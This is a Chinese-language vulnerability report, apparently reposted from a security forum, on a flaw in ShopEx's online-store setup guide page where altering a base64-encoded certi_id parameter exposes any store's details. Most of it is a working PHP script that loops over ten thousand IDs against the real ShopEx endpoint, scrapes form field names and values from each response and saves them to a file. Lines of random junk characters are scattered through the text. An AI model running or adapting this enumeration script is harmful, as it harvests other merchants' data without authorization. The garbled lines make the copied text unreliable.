ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
6 q! t% n+ n3 @2 t% @  x8 [- MShopEx某接口缺陷,可遍历所有网站
详细说明：
7 r( N% Z6 D) m: O0 \4 i' B问题出现在shopex 网店使用向导页面
# @/ q2 y* A( Q' n* y9 g

7 P+ Q: k% w3 B9 o0 d- t& z
  V0 s8 T5 Y! B/ Q! ?, ahttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
- q  o/ E! u' J. w2 Q8 q, T. d
& K9 @* i5 o) A& a% T9 \
! y/ d8 U0 J. {# g) R
: P" ]0 c1 y- m6 t4 Qrefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
- B: U8 o0 J9 F1 ^5 j0 T) z" V* ]


我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
! }( r7 t8 @) W
5 D! _" {9 W' n  |6 b  _3 q

( L/ _' M* x2 L' Q+ L1 i; D7 |<?php

- r3 O# c( o  V- [6 L6 K6 B                for ($i=1; $i < 10000; $i++) { //遍历

                        ShowshopExD($i);
0 I$ r; h. B; O4 q( }" l" i
                }

1 a1 }, y2 @5 U: [5 B                function ShowshopExD($cid) {
+ h" M; [' b: @2 q& {- C' |
                $url='http://guide.ecos.shopex.cn/step2.php';

                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

4 d* h( U& s% \& V- u, K; Z& l; h! J        $url = $url.'?refer='.$refer;
- ^+ H6 |; ~) D& x0 q( w
8 a4 w. X  I' [; [        $ch = curl_init($url);
, A( K% T7 E7 D
  w8 u8 k0 D* B# v* c; @: |        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

        $result = curl_exec($ch);

        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

        if(strpos($result,$refer))
' i5 o' {+ @/ i+ M, |
        {
4 o8 M- E$ ^# M  }1 m% W) ~1 E
9 m( C8 n4 }' N$ N, h                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
) M3 S! ]7 r- X  u+ A4 Y  }3 d1 C" g
7 [3 D! [3 s) c! `/ [                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
: e- J  I7 N! B5 N
                foreach ($value[1] as $key) {
3 c+ ]0 P, F% Y) C; i
2 V' n+ H  X8 |, p                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
' [5 |6 j9 _* y) u* M+ F
  ]- U2 F# c2 Z" F- O                        echo $res[1][0].':'.$res[3][0]."\r\n";
# F0 R3 G1 k2 E  p! r
, P8 z% v  o6 b                        $col =$res[1][0].':'.$res[3][0]."\r\n";

                        fwrite($fp, $col, strlen($col));
0 I/ L& v6 P8 {8 ~# E1 a* M* y6 m) i
                }
' t* ~2 Q- g; m# F3 v, n$ L
                echo '--------------------------------'."\r\n";
7 J8 X' T( T9 Y2 n
                fclose($fp);
9 A1 e  d- q' i( p
7 G0 b7 i+ T- O5 \" n        }
+ u7 N: H: q( G: @9 @! S. a% @" x
        flush();

9 V; B1 T, z6 d7 W. h' l        curl_close($ch);
2 j. r. F. f) `& G' N3 _4 d* b
                }
& |1 w' ?* y0 H' t8 i, D1 N
?>
' I' ~8 O$ n; i) G% W漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式